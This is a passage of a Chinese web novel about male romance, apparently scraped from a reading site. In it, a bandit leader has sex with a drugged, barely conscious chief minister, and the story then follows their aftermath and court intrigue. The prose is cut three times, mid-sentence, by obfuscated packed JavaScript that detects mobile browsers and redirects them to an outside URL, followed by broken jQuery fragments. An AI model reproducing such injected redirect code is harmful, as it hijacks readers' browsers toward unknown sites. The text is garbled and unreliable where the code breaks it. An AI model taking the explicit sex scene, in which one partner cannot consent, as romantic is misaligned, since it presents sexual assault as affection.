陆峥安平复过急促的呼吸后,替他擦干身上的水,脱下自己的衣服给他穿上,将他一把抱了起来,男人只比自己矮半个头,体重只比自己轻一点,陆峥安刚刚掂起他,就被他沉重的重量给坠的轻笑一声:“还好我力气够大,不然还真抱不动你。”
还没等他来得及动作,身上的人却又开始重新剧烈地挣扎起来,他本就刚刚站稳,天旋地转之间,一时不察脚下一滑踩在了温泉池底的青苔上,水花四溅,摔在了池子边的石壁上,被他牢牢护在怀里的沈卿钰倒是没有丝毫损伤。
他刚想说些什么,可风声赫起,身上那人再次翻身压在他身上,那双艳丽的眼睛像充斥着血一样红,然后霸道的吻顿时如雨一般急促的落在了他脸上,他扭头想去躲但对方不得章法的吻舔的他脸上湿漉漉的,急促的声音带着困兽一样的痛苦和挣扎,他手在陆铮安身上各个地方胡乱地摸,重复着喊:“给我!给我!!”
陆峥安明知对方是意识不清醒,可那催促的声音还是让他一瞬间又重新开始起来,他还没来得及按住对方作乱的手,对方却顺着他后腰一路摸索,到了他后腰往下……
这极具暗示性的动作让陆峥安顿时浑身一僵,在反应过来他要做什么后,将他扣住手翻转过来,捋了一把垂下来的凌乱的墨黑色的发,勾唇笑了:“有没有搞错,沈大人,我帮了你这么大的忙,你怎么恩将仇报呢?”
——居然想强来。
他观身上的人比之方才还要意识不清,甚至因为难以纾解的欲望,那片黑白分明的眼珠呈现一种癫狂的猩红,他将手放在对方的脉搏上查看。
神色一凝,对方脉搏比方才更乱了,甚至多方冲撞隐隐有逆转断绝之象,很明显刚刚的舒缓并没有让他好受甚至更严重了。
“这毒老鬼害你至此,要是让我遇到我一定要将他碎尸万段。”他眼中划过一抹杀意。
而被他桎梏住的人却还在不安地扭动,身下的沈卿钰却还在重复性、没有意识地说着:“放开我!给我、给我……”
陆峥安将他翻转过来后,让他贴在温凉的石壁上。
沈卿钰却因为浑身的燥热,手指摊开在石壁上难耐地抓挠,坚硬的石壁都被他的手给抓出了几道细浅的印子。
“好了——”陆峥安抓住他的手,声音沙哑,“别乱动。”
他一把捋起自己垂到脸颊旁的头发,修长的手指穿插过鬓边的发丝,澄澈清亮的桃花眼浮了些难以言喻的红,直到一切做好准备后——
似开水烫开的温度:
“这就给你。”
……
意识模糊的沈卿钰有那么一瞬间清醒过来,余光中感到天地都在摇晃,眼前一个淡青色的“囚”字隐隐约约在发光。
那个压在他身上的男人在问他:“你叫沈卿钰对吗?名字真好听。”
“我要杀了你——”
“我一定要杀了你——”
男人声音带着笑意:“好好好杀了我,这话你都说了好多遍了,弄疼你了是不是?”
……
最后,那人问他:“我可以叫你阿钰吗?”
4. 无耻狂徒
沈卿钰是在马车的阵阵轮毂声中醒来的。
浑身酸痛不已好像被碾压过的感觉让他骤然一顿,随之猛然坐了起来,接着某处滑腻的暖流汩汩流了下来,濡湿了身下的一大片软垫。
记忆中那晃动的淡青色的“囚”字愈来愈清晰,压在他身上的男人面容却模糊不清,林林总总的一切都在提醒着他之前那混乱的、令人厌恶的春情并不作假。
他自是知道那人不是那两个身受重伤的狱卒其中任何一个,可又不知是哪来的匪寇,竟在他意识不清的时候对他肆意妄为!
虽说男人向来谈不上什么贞洁,可他顺风顺水了二十年,如今身为一朝首辅位高权重更鲜少吃过瘪,如今却被一个不知从哪来的流氓给强/上了!这简直是奇耻大辱!
他咬牙切齿地在马车上狠狠一锤,无耻狂徒!他一定要杀了他!
这巨大的声响震的马车外赶马的阿林都随之一颤,随后掀开轿帘走了进来,看见他醒过来后,惊喜万分:“大人,您醒了!”
沈卿钰克制着自己跳动的额角青筋,用冷静的语气问道:“你们是在哪里找到我的?”
阿林恭敬回他:“回大人的话,我们是在一片溪林中找到您的。”
“当时我身体可有异样?”
“当时我们带了大夫去看,发现您身上中的余毒都清了,虽然不知道是怎么清的,但好在您身体无恙,真是谢天谢地。”
“除了这些呢?没有别的了?没有什么可疑的人出现和可疑的事情发生吗?”
阿林有些疑惑:“啊?什么可疑的事?”
沈卿钰阖起双眸,剧烈起伏不平的胸膛被他平复下来,虽然事实已经发生,可现在看来目前只有他一人知道之前发生的事。
还好,还好没有第三个人知道。
至于为什么他会安然无恙出现在这个回景都的马车中,又为什么衣着完好地被他带来的人带回马车上,他已经不想去想这些细节了。
不然,他真的会发疯。
维持着表面的淡定和风度,他只是深吸一口气,然后让阿林出去自己先冷静一下。
“大人,李总兵已经在外面候着了。”出去之前,阿林轻声提醒着他。
“知道了,一刻钟后,等我传唤。”
沈卿钰揉着疼痛不已的额角,回复道。
他在马车上倒了杯茶一饮而尽后,闭目休憩了片刻,在检查完自己脖子上没有可疑的红痕后,重新掀开帘子朝外唤道:“请进,李大人。”
——若不是他身体有异,他早就如往常一般走下去了,何须在此坐着不动传唤别人。
身后某个地方随着他的动作还会隐隐作痛,强撑着走下去只会徒然惹人生疑!
很快,身穿银色铠甲的李总兵走了进来,在观察过面色如常、身体如旧的沈卿钰后心也放了下来,随后双手抱拳道:“末将见过沈大人!”
“那黑风寨最后的大当家和二当家抓到没有,若是还活着,把他们带过来我有话问他们!”提起这两个罪魁祸首,沈卿钰就怒从中来。
李总兵面露难色,抱拳:“秉大人,那黑风寨寨主极力反抗被我们乱兵杀死了,至于那二寨主毒老鬼——”
“说下去。”沈卿钰面色变冷。
李总兵低下头:“他自断一臂,逃走了。”
“糊涂!”沈卿钰用力一拍桌子,却险些震得自己疼痛难忍,在李总兵请罪的声音中,他又深知这件事怪罪不了别人,只怪他不够小心中了对方的毒计,最终还是忍住怒气,揉着额角道,“那人擅长使毒,而且长相异域不似我中原人士,我怀疑他是敌国派来的奸细,意在乱我大棠,留着他是个祸端。其余的事,你继续汇报。”
二人就一些剿匪细节接着商议了一下。
之后发生的一些事,都是在沈卿钰意料之中,得知那些被绑到寨子里的无辜村民全部得救后他眉头稍松了些许。
之前他来这落霞山之前,就得知了山头黑风寨强抢民女、买卖人口的事,刚巧遇到山脚下一个无辜的姑娘父母被绑,为救父母,姑娘只能同意嫁入山寨里。
可报了官连官府都不敢管,还好沈卿钰及时来了。
他来之后先是整治了一下贪|污腐|败的县衙,然后安抚完村民后,得知黑风寨还有很多被绑的村民,他便决定以那位无辜姑娘的远房表姐的名义,替她出嫁到黑风寨上。
虽然朝廷攻打下一个山寨并不是什么难事,但里面关押了很多其他被绑进来的村民,所以扮作被抢新娘,混入寨子里将无辜村民先解救出来,已经是最安全的办法了。
黑风寨毕竟凶险险恶,他仍然有思虑不够周全的地方,才会中计。好在除了自己受了一些损失外,那些无辜村民全部得救了,此行也算成功。
得到自己想要的回答后,最后他问道:“那批走失的军火可有找到?”
“已找到,唯独剩下的一批火铳和炸药,在清点的时候发现少了点。”
“少了多少?”
“火铳少了十个,炸药少了三十包。”
“确定黑风寨的人如实禀报了?”
“属下确定。”
沈卿钰修长的指节一下下敲击着桌面:“余下的军火和逃走的黑老二继续追寻下落,剩下的事我会在明日早朝和皇上如实禀报,你先下去吧。”
“是,大人。”
待他退下后,沈卿钰维持了许久的镇定终于土崩瓦解,身后某处尖锐的疼随着马车的颠簸,更是让他汗如雨下面色发白。
可他只能紧咬着唇,一句疼也说不出口。
他要死死地、竭尽全力去维持他仅剩的自尊和骄傲,绝不能让任何人知道在温泉中发生的事!
等马车终于行驶到景都,李总兵和他住的不是一处方向,便先行离去。
来到首辅沈府后,等候他多时的下人阿牧迎了上来,刚想替他褪去身上的大氅换下,他便咬着牙推开了他:“先替我准备一桶热水,我要沐浴。”随后便扶着门框忍着疼痛极力表现出一副淡定从容的样子,走到院子卧房中。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025611|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阿牧有些不解地看向阿林,阿林连忙摆手:“大人剿匪辛苦了一路,还愣着干嘛,快去准备!”
“噢噢!好!我这就去!”
“哎呀笨手笨脚,我跟你一起!”阿林急匆匆追上,跟着他一起去了厨房。
等热水准备好后,沈卿钰只让他们抬进房间里,不用伺候先行出去。
在点亮的烛光下,他一点点褪去身上的外袍,直到露出里面雪白的里衣。
外袍刚被放下,一阵咕噜噜的声音传来,一个白色瓷瓶从外袍袖口中掉了下来。
他捡起去看,却看见那白色瓷瓶上刻着三个字:“金玉膏”。
——用在何处不言而喻,是谁给他的更加不言而喻!
混账!
他捡起那瓶药用力往窗户上一砸,小瓷瓶撞击到窗柩上,发出“砰砰砰”的瓷瓶碎裂的声音。
随后门卫守着的阿林和阿牧同时一惊:“大人,您怎么了?!没事吧!”
沈卿钰紧紧攥着浴桶边缘,咬牙挤出几个字:“我、没、事,你们不用守着,温一壶酒来放在门口,然后退下,明日按时喊我上朝。”
等他褪掉里衣跨进浴桶中,近乎是刻意地、强行地,忽略掉自己胸前遍布在那两点上的牙印和红痕,以及腰间被掐出的淡淡淤青色的印记。
而更让他窒息的是,当那阵阵温热的水流涌向他的皮肤的瞬间,某处还微微翕张着的地方更是侵入水痕,那记忆中的炽热的、坚硬的温度像是要搅碎他一样,不容置疑且孜孜不倦地,一次又一次破开他最不可言说的柔软。
而耳边的呼吸灼热喷洒在他颈项,那个恬不知耻的人带着促狭、调笑地问他:“是这里吗?舒不舒服?要不要再重点?”
“砰”地一声,木桶被他用力锤开一道裂缝,哗啦啦的热水流了一地,他倏然从浴桶中站起身来,穿上外袍打开门去,寒冷的北风袭来,门外被他吩咐退下的阿林和阿牧已经离开了,只留下地上一盘温好的酒和两个空盏。
将酒盏端起后,他再次将门关上然后牢牢上锁。
头一次、失了往日的端庄和矜持,坐在床边仅着一袭外袍,用来盛酒的空杯被他舍弃,拿起一整壶酒盏便往嘴里灌。
酒水沿着他下巴流了下去,直朝着白皙如玉的胸膛流淌下来,窗外月色如华,映照在他略显清冷的脸上,更显得灼灼如光。
他狭长的眼尾沾上了一丝不正常的水汽,带着醉意的脸颊上有了一丝酡红。
那些不为人知的、隐蔽的、不可言说的心事,最终被交托在这盏酒中。
最终这如寒玉一样高高在上的、清冷孤傲的人,倒在这无人看见的床榻上,咬牙切齿地吐出一句:
“你竟然敢、竟然敢如此对我……”
“我一定要找到你,然后杀了你!”
他将脸埋进了床铺之中,手中紧紧攥着一块玉佩,用力锤击着柔软的棉被,直把那整洁的床铺揉成了杂乱的一坨。
灼灼月光下,那玉佩上刻着的“陆”字在隐隐发着光。
5. 玉佩
翌日清晨,沈卿钰没让阿林和阿牧叫他,是自己醒的。
多年来上朝的习惯和自律,让他养成了寅时醒的作息,即便是宿醉也没有受到影响。
彼时天未亮,阿林掀开马车轿帘,看着在烛火下誊写奏疏的沈卿钰眼角下的乌青,有些心疼:“大人,看您昨日都没睡好,早知道拦着您喝那一壶酒了。”
——早上他去替大人收拾房间的时候,闻见一室酒气,就见那一整壶酒见了底。
沈卿钰专注执笔并未作答,他的神态颇为疲惫,可执笔的动作却一丝不苟。
直到写完一行,他抬头问道:“为何还不启程?”
马车外传来阿牧热络的声音:
“大人,羊奶刚刚热好,您喝了再走,醒醒酒肠胃也能舒服一点。”他蹬上马车夹板,将一碗热腾腾的羊奶放在他案边便在马车垫子上坐了下来,沈卿钰抬头在他注视的目光下,拿起瓷碗吹了口气喝了一口。
阿牧熟练地拿起锦帕递给他,等他喝完后,才心满意足松了口气,语带劝解地开始收拾碗筷:“大人您以后可不能再喝那么多酒了,没得伤了肠胃。”
沈卿钰揉了揉眉心,淡淡道:“无妨,我心里有数,你下去吧。”
他端好盘子,走之前犹疑地看了眼阿林又担忧地看了沈卿钰好几眼,知道他冷淡的脾性,便应了声退下了。
一切收拾好后,阿林扬鞭驾起马车,轮毂声便悠悠响了起来。
他朝后看去:“大人,还有半个时辰才到午门,您可在车上小憩一会儿,清晨霜寒,阿牧给您准备了暖手炉放在案边,您握在手里能暖和点。”
等他转过身,却发现沈卿钰掀开马车帘正呆呆地向前看,清凌凌的眼中是少见的一片空白和迷茫。
阿林从十四岁时就和阿牧一起跟着沈卿钰,见多了平淡无波冷清冷性的沈大人,从未见过这样茫然无措的沈大人。
似乎有什么事让他极为在意却又不知与谁说。
大人有心事。
他有些狐疑,那天在温泉池中到底发生了什么?
“大人……”他轻声唤道。
漆黑的瞳孔骤然聚神,沈卿钰像是猝然被惊醒一样,回过神来:“怎么了?”
“大人您刚刚在想什么,想的出神了。”
帘幕被放下,淡淡的声音传来:“无事,赶路吧。”
马鞭再度扬起,沈卿钰坐在马车里握着手中的一个青龙玉佩,眼中涌起思索。
他从小戴到大的玉佩在那个温泉池中丢失了,但醒来身上的衣服里衬中却又多了个刻着“陆”字的不知名玉佩。
玉佩的品相不俗,触感也极其温润。
这甚至让他怀疑不是那个狂徒身上的,可种种迹象表明,这个玉佩就是那个匪寇给他的,甚至把他的玉佩拿走作为交换。
他眼中一片沉色,手指攥的发白。
——偷走他的玉佩,还猖狂地把自己的玉佩留给他。
就像堂而皇之地告诉他,他是如何雌伏在他身下,又是如何意识不清地任他摆弄,如今竟还以交换信物的方式羞辱他让他难堪!
这狂徒竟敢如此薄他!
别让他抓到他,不然他一定会让他亲口尝尝大理寺的牢饭是什么味道。
马车刚到午门,阿林的声音传来:“大人,太子殿下来了。”
沈卿钰掀开轿帘,从马车阶梯踏下脚步,便见到一坐着轮椅的月白身影在马车前静静候着。
来人正是大棠太子温泽衍,他生的儒雅俊美,再加上皇家的气度和储君风范,即便是坐在轮椅中,也自有一股芝兰玉树的尊贵气质,身边跟着大大小小穿着绯袍的三品以上的官员,还有一众腰间佩刀气派非凡的护卫,颇有几分压迫感。
太子温泽衍在朝中和民间一向富有谦逊君子的好名声,再加上他待人有礼、才情出众、行监国之职,泰和帝曾亲口夸赞他“慈孝仁恕,温良恭谦、群臣表率”。
本是风光霁月的天纵之才,可惜天妒英才,在十岁时他失足落水从此一双腿便再也不能行走,终日与轮椅为伴。
当今皇上子嗣稀薄,如今膝下只有两位皇子,一个是太子温泽衍也就是大皇子,另一个尚在襁褓不足半岁,其他的都是已经出嫁或待字阁中的公主。
温泽衍七岁被立为太子,太子之位他已安稳坐了十余年,从某种意义上来说,他是否可以行走,如今局势并不会影响他的地位。
一众人见沈卿钰从马车上下来,都熟络地打着招呼:“沈大人到了。”
此时天光微亮,暮色皆晓,四处是白茫茫的一片,自沈卿钰下马车后,所有人目光又都汇聚到了他身上。
一身绯袍、面如春雪、神色倨然的沈卿钰在这人群中是极为亮眼的存在。
温泽衍眼含笑意,一双眼睛定定地盯着他目不转睛的看。
面对众人的招呼,沈卿钰一一点头回应过后,朝看着他的太子拱手行礼:“臣见过太子殿下。”
“何须多礼,还未来得及恭喜子瑜成功剿匪得胜归来。”——子瑜是沈卿钰的字。
温泽衍笑着让他免礼后,便朝身后一众跟随他的人摆手示意,待众人退下,此处只剩了他们两个人。
他吩咐侍从推着他来到沈卿钰面前,语含关心,“听李总兵说,沈大人先前在黑风寨被歹人下药谋害,如今身体可还有恙?”
对于他消息的灵通,沈卿钰沉默不语,而是遥遥看着温泽衍身后临时搭建的一个飘着丝带、内设华贵的亭子,紧紧蹙起眉头,目有所思。
——大雪漫天,来午门的官路都积满了雪,临时搭建这样一所设施完善的亭子,其中耗费的人力物力可想而知,而这样费力搭建,不过是临时起意,早朝结束后便要拆除,又是一番巨额耗费。
“阿钰?”温泽衍又唤了他一声,见他心不在焉,问道,“在看什么?”
沈卿钰这才回过神,“臣失礼了。”
然后回道:“劳殿下关心,臣安好无恙。”
他神色冷淡,眉宇间像是凝了一层霜,比这腊月寒冬还要冻人,带着一贯的拒人于千里之外的疏离感。
对他冷淡的态度,温泽衍身后的侍从脸上颇有些不满,刚要发作就被温泽衍拦下,低声斥责了一声:“不可无礼。”
他面上一派温润之色,挺阔的眉宇间微微蹙起,浮现一抹愁绪,“你我自幼便相识,阿钰又何必这般生疏?观你神态颇有疲惫之色,我实在不忍你太过劳累。在今日早朝前,我已向父皇请旨,文渊阁近日来积攒的一些事务,较为重要的部分,已着其他阁员帮着精简处理了,待你入阁后可以一并检阅票拟,如此也算节省了时间,至于其他不重要的杂事,可等你休整好后再慢慢处理,这样你也可以好好在家休息几天,不至于累坏了身体。”
温泽衍言语之间,俱是亲热之态,若换作一般臣子,会对他的态度感激涕零,而沈卿钰素来不喜攀附结党,在这朝中的亲朋更不过数几,现在应对这样亲近热切的太子,他却并无太多其他的感受,只是沉默不语。
唯独朝堂诸事,对沈卿钰来说,事虽繁琐,却要事必躬亲:
“文渊阁诸事,臣须先看过后再做决定,阁内事不论大小,臣都需尽职一一处理,这是自先祖帝便定下的规矩,也是臣的职责本分所在,是以不必给臣特殊优待。”
他看着前方正盛的灯火,点了点头,“已近卯时,陛下还在等臣回旨,臣先行一步。”
绯红衣摆翻飞,掠过温泽衍身旁,温泽衍垂眸看着那绯红衣摆上绣的白鹤展翅欲飞一副生机勃然的景象,在他身后堪堪伸出手触碰好似拂过,轻声开口道:“子瑜留步。”
沈卿钰面色如霜,停下脚步,声线清冷:“何事?”
温润谦和的笑容展开,温泽衍抬手让身边侍从拿来一瓶精致的瓷白瓶:“这是安神香,我知你近日精神不佳,此香乃天竺进贡,睡前抹在鬓间可温神助眠,一番好意,还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025612|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
请子瑜莫要推辞。”
晨雾弥漫,琉璃瓦垂落下尖细的冰柱,雾气似乎凝在了沈卿钰的眉间,氤氲上一层朦胧,他微微垂下眼眸。
“咚——”
宗周钟响起,已卯时,有太监前来引导众人入宫。
“臣告辞。”
松雪般的声音传来,随之渐渐远去。
看着那渐渐消失在大雪中的绯红身影,温泽衍端坐在轮椅上轻轻转动拇指上的玉戒,眼中划过一抹浓重的沉色,几经翻腾后,最终化为眼瞳里的浮红。
喉间的干涩涌上,他握拳用力咳嗽了一声,身边的人连忙焦急上前却被他挥手止住。
目光投向身后的亭子,苍白的手指摊开在轮椅扶手上微微曲起,声线低冷:“把亭子拆了,往后午门不许再设观望亭。”
“查,剿匪那天沈卿钰在温泉究竟遇到了谁。”
*
芙蓉山上。
一间卧房中。
一块通体雪白巴掌大小的和田玉坠在雾气腾腾的半空中。
玉佩呈圆壁形,中间大片镂空,主体雕刻着青竹和梅花的意象,镂空的中心部分几许竹叶枝桠巧妙地汇聚成一个清篆的“沈”字。
玉佩顶部穿孔的红色丝线被房间的水雾沾湿,丝线的尽头吊在了一根骨节分明修长的手指上。
陆峥安趴伏在浴桶边缘,精壮赤|裸的胳膊伸出来,一双澄澈的桃花眼一眨不眨地盯着手中的玉佩看。
系绳晃动,手中的雪白玉佩也跟着晃动起来,玉的表面微微沾上了一层水汽,陆峥安伸出手轻轻触摸,温润又潮湿的感觉侵袭到他的指尖。
恍惚中他又想起那天冒着热气的温泉,手指间的皮肤触感也如这块玉一般,潮湿又光滑。
那人明明身量和自己差不多,但腰却比他细得多,掌控在手中时,会随着自己的触碰而微微颤抖,当他廷弄力道变重时,那凝着霜雪的眉眼会染上一层红晕,然后溢出呜咽一样的低泣……
眼中渐渐变沉,他将玉佩收在手心,才发现身下起了头。
“哗啦——”一声,水花响起。
他捋了把额边湿发,往后靠在了浴桶边缘上,嘴里衔了根狗尾巴草,狭窄的浴桶支撑不起他高大的身躯,有些微微晃动。
水面浮动,一双桃花眼微微眯起,随后抚上渤发良久直到水波荡开百浊,他长吁一口气,放空地看向远方。
英挺的眉宇间是一片思索。
他的名字叫沈卿钰。
阿钰。
他唤他阿钰的时候。
无神的那双凌厉艳丽的眼睛会陡然有了光彩,汇聚起一股不怒自威的冷意,定定地有压迫感地盯着他看,偏偏眼角又因为某些原因沾了红意,多了丝说不出来的风情。
一想到这,他安静的心脏开始不受控制地跳动起来,愈来愈剧烈。
陆峥安握着手中的玉佩,轻轻笑了一声。
这真的很奇怪。
那天一切结束后,他抱着怀中如雪烤化了一般浑身湿透了的人,估算着对方的人找来的时间,在离开之际,不自觉就留下了自己的玉佩和他交换。
就好像他本就应该这样做一样。
他陆峥安自诩潇洒随性,春风一度不过意外,就算是个男人也没什么大不了。他又何故这般纠结、日夜辗转难眠?
若换作旁人,他断不会如此牵肠挂肚。
可辗转几夜,梦里却全是对方冷艳凌厉的眼和初见时大雪中如红梅一般傲立的背影。
好像胸腔之中,有某种不可抑制的热流和冲动,鼓舞着他,让他跨越重重山头,踏过月下积雪,穿过浩荡人海,去到他身边,去见……
突然,“咚咚”的敲门声响起。
陆峥安回过神来,开口的声音有些沙哑:“什么事?”
门外的声音娇弱含蓄:“陆哥哥,你在里面吗?胡大哥说你没吃晚饭,我给你做了一碗面,加了你爱吃的肉臊子。”
6. 某种冲动
门外的人见门内许久没动静,迟疑地唤了一声:“陆哥哥?”
陆峥安起身穿好衣服,朝外说:“进来吧。”
门外的林羽然一袭青衣,乌黑的发丝披散在肩后,柔顺的眉眼间秀气怡人,挺秀的鼻梁下是红润清透的唇,在看见浑身冒着热气的陆峥安后,他微微抿起了唇,眼中光华闪烁。
他将手中餐盘放在案几上,看着屏风后悬挂着的湿漉漉的汗巾,面前男人随意披了件外袍,衣服的里料包裹着依稀可见的饱胀肌肉,胸口衣襟处都在淅沥沥滴着水,直到滑入……
“你在看什么?”
淡淡的声音传来。
他猛然惊过神。
空气中弥漫着依稀没散去的热气,让他羞怯的眼波中含上了一股热意,开口的声音黏腻甜软:“没看什么,陆哥哥,你刚刚是在沐浴吗?”
陆峥安不置可否,而是自顾走到屏风边拿起汗巾准备开始擦湿透的头发。
还没拿到手,一只白皙的手却主动替他接了过去,他低头去看,正好撞进一双含羞带怯、波光粼粼的眼眸中。
林羽然红着一张脸,如含羞草一般、近乎不敢直视他,轻声说道:“陆哥哥……我来替你——”
“擦”字还没说出口,陆峥安却啧了一声,将汗巾扔掉,转身拉开了和他的距离。
林羽然抿了抿唇,然后又走近将案几上的面转向他,语含柔意道:“陆哥哥,先吃面吧,再不吃就冷了。”
陆峥安垂眸看向那碗热气腾腾的面条,纤细的面条淋着油乎乎的肉臊子,看起来确实一副令人食指大动的样子。
但他没吃,而是说:“我晚上不饿,谢了。”
然后他将头发胡乱用案几上沐浴后换下来的衣服抹了几下,懒得等它干就直接往后一甩,擦完后大刀阔斧往茶几塌边一坐,抬眼看向僵在原地的林羽然,问:“还有什么事吗?”
林羽然惊诧地睁大了眼,听到他的话才明白他在赶自己出去。
这让他眼尾都沾上了一层水汽,声音好似泫然欲泣一般,带着浓浓的委屈:“陆哥哥……你这是、这是在嫌弃我吗?”
陆峥安挑了挑眉,露出一丝不明所以的笑:“抱歉啊,林公子。我是个粗人,向来随意惯了,不大会说话,更不习惯别人伺候我。搅和两把的事,懒得去大费周章。”
“哪里谈得上嫌不嫌弃,你想多了。”
“陆哥哥……”林羽然声音带着颤音,“小然只是想谢谢你这些日子对我的照顾,如果让你不舒服了,是小然错了,小然向你道歉……”
他的声音清甜可怜,态度也是极为乖顺的可人,眼中的情谊更是快溢出来了,可陆峥安却听的直犯困。
他烦躁地用手指敲击着桌面,想离开这个让他觉得沉闷的环境,正发愁,胡斯大大咧咧的嗓门传来:
“老大,地窖那批货陈飞刚刚清点了一下,说——”
话还没说完,正好撞到了眼眶红通通的林羽然,再看看面露漠然的老大,一下愣住了,不好意思挠了挠头:“林公子也在,对不起啊我是不是打扰你们了。”
“打扰什么,我们又没干什么。走,去地窖看看情况。”眼前瞬间一花,陆峥安热络地搂着他脖子大踏步跨出了门槛。
胡斯被搂的猝不及防,只能歉意地转头,朝目光灼灼看着他们的林羽然打了个招呼:“林公子,我们先走了。”
待出了门,走远后。
陆峥安一下放开他脖子,脸上的热络瞬间消散下去,不言不语地双手抱胸在月光下懒懒地走,眉目一片冷峻。
胡斯有些不好意思:“老大,我们就这样把那个林公子扔那,是不是不太好啊?”
——林羽然是之前他们一次走镖途中遇到的落难公子,在他被恶霸欺压的时候陆峥安和一众芙蓉寨的人救下了他,可自从跟着他们回了山寨后,陆峥安说送他回家,林羽然却说记不清回家的路了,言语之间俱是抗拒,说什么都不肯回家,这么个大活人,他们也不能弃他于不顾,无奈之下他们只好留下林羽然。
林羽然就这样跟着他们,平时会给他们做饭,只是他那双手一看就细皮嫩肉的没做过什么粗活,做的饭更是一言难尽堪比毒药,一来二去他们就让他只用干些不轻不重的活计,待他记起来回家的路了,再送他回家。
陆峥安不以为然:
“有什么不好。这么大人,又不是三岁小孩。”
胡斯挠了挠头:“老大,林公子平时除了你都不爱亲近其他人,对你比对我们这些大老粗好多了,再说长得不是挺好看的吗。老大你眼光一向高,不是就只看得下好看的人吗?你为啥要躲着他啊?”
“谁说我只喜欢好看的人?我也不是什么人都能入眼的好吗。”陆峥安轻轻笑了一下,拍了拍他头,“倒是你,言语之间一直替他说话,怎么?你喜欢他?”
胡斯连忙摆手:“没有没有,我已经有芸娘了,怎么可能喜欢旁的人,再说林公子一看就是有钱人家的少爷,我哪敢肖想。”
然后他看着月光照耀下,身形高大、英俊挺拔的陆峥安,似乎像是上天的宠儿一样,比起五大三粗的他们,女娲娘娘捏造起来显然用心多了。
不由得有些沮丧地感叹道:
“而且老大,你看起来跟他才像一个世界的人,你们两个都不像是寨子里的人,还有之前遇到的那个沈大人,更是天仙一样的人物,和我们就感觉大不相同。”
听他说起“沈大人”这几个字,陆峥安心弦像是被拨动了一下,泛起丝丝痒意,不免失了神。
胡斯见他不说话,疑惑地唤他:“老大?”
陆峥安猛然回过神,他伸手拍了把他的肩:
“我哪儿不像了,从小长在这里的还能和你们不一样了?”又说道,“我对林羽然没兴趣,你也别老想太多有的没的,自信点,在我眼里,你比绝大多数人好得多。”
“老大,你为啥不待见他?”
“扭扭捏捏的,没劲儿。”陆峥安兴致缺缺,路边拽了根草叼住,自顾往前走。
“那什么叫有劲儿?”
——什么叫有劲儿?他说不上来,只是觉得,那双眼应该是极其艳丽的,又带着霜雪一样的寒意看着他,冷冰冰的、凌厉的、疏离淡漠的。
这样才觉得是那个味儿。
什么味儿呢?他说不上来。
只是觉得一想起那个人,心里刺挠挠的。
清点完地窖的军械后,陆峥安不想回去又碰着林羽然,大冬天非拉着胡斯在屋檐上喝酒赏月。
胡斯虽然也不是很想喝酒,但老大的命令他一向不会质疑,没有丝毫犹豫就上了。
两个人有一搭没一搭聊着,寒冬的风吹来阵阵梅花的香气,屋顶的月亮发着清冷的光辉,几片梅花瓣从山头零星飘散到陆铮安的身旁,他伸手去触碰,花瓣却又从指缝间流过,留下一缕淡淡的余香。
胡斯醉醺醺地拉着他要再来一杯,陆峥安没将酒坛给他,醉倒的他便歪倒躺在瓦片上,醉梦中喊着“芸娘、芸娘”的名字。
陆铮安自顾喝着,一口清酒下肚,酒水顺着他硬朗流畅的下巴滴落,没入衣襟。
他单腿屈膝,手挂在腿上轻轻摇晃着酒坛,望着漫天的星月,桃花眼中淌着细碎的光,极轻的声音像是说给风在听:
“胡斯,你说,喜欢一个人,到底是什么感觉?”
……
第二天一大早天刚蒙蒙亮,陆峥安就被陈飞找上,告诉他胡斯病了,求他去帮他给芸娘传个信儿,说晚上他就不去她院子里了,怕把病气传染给她。
陆峥安翻过身,留下言简意赅两个字:“不去。”
陈飞无奈:“老大,芸娘那脾气你又不是不知道,哪次我们去了不是被她打将出来的,如今胡斯生了病,她肯定更不高兴了,谁敢触她霉头。”
“也就见着你,她才笑着有三分好脸色,你去是最合适的。”
“我们到底谁是老大?还使唤起我来了,找抽是吧?”陆峥安不耐烦,“她又不是我媳妇,她有没有好脸色跟我有屁关系。”
陈飞沉默片刻,然后发大招:“老大,大夫来看过了,胡斯是昨天晚上屋顶吹风,又喝了太多酒才病了。”
“唰”一下,陆峥安认命地起床了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025613|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
——他就说不该拉着胡斯喝酒!
事已至此,只能下山。
正好他近日心情颇为烦闷,下山走走散散心也好,顺路看看镖局。
一匹骏马,到了芙蓉山下的栾安县最大的青楼。
门口站着的老|鸨看着马上的鲜衣怒马、高大俊朗、气宇非凡的少年郎,一时之间竟看呆了眼。
那人扔给她一两碎银,单手握着马鞭往马背前一撑,高大的身影似乎盖住了这头上的烈日,一双桃花眼带着笑意和客套地问她:“姑姑,还请叫芸娘姑娘出来一下。”
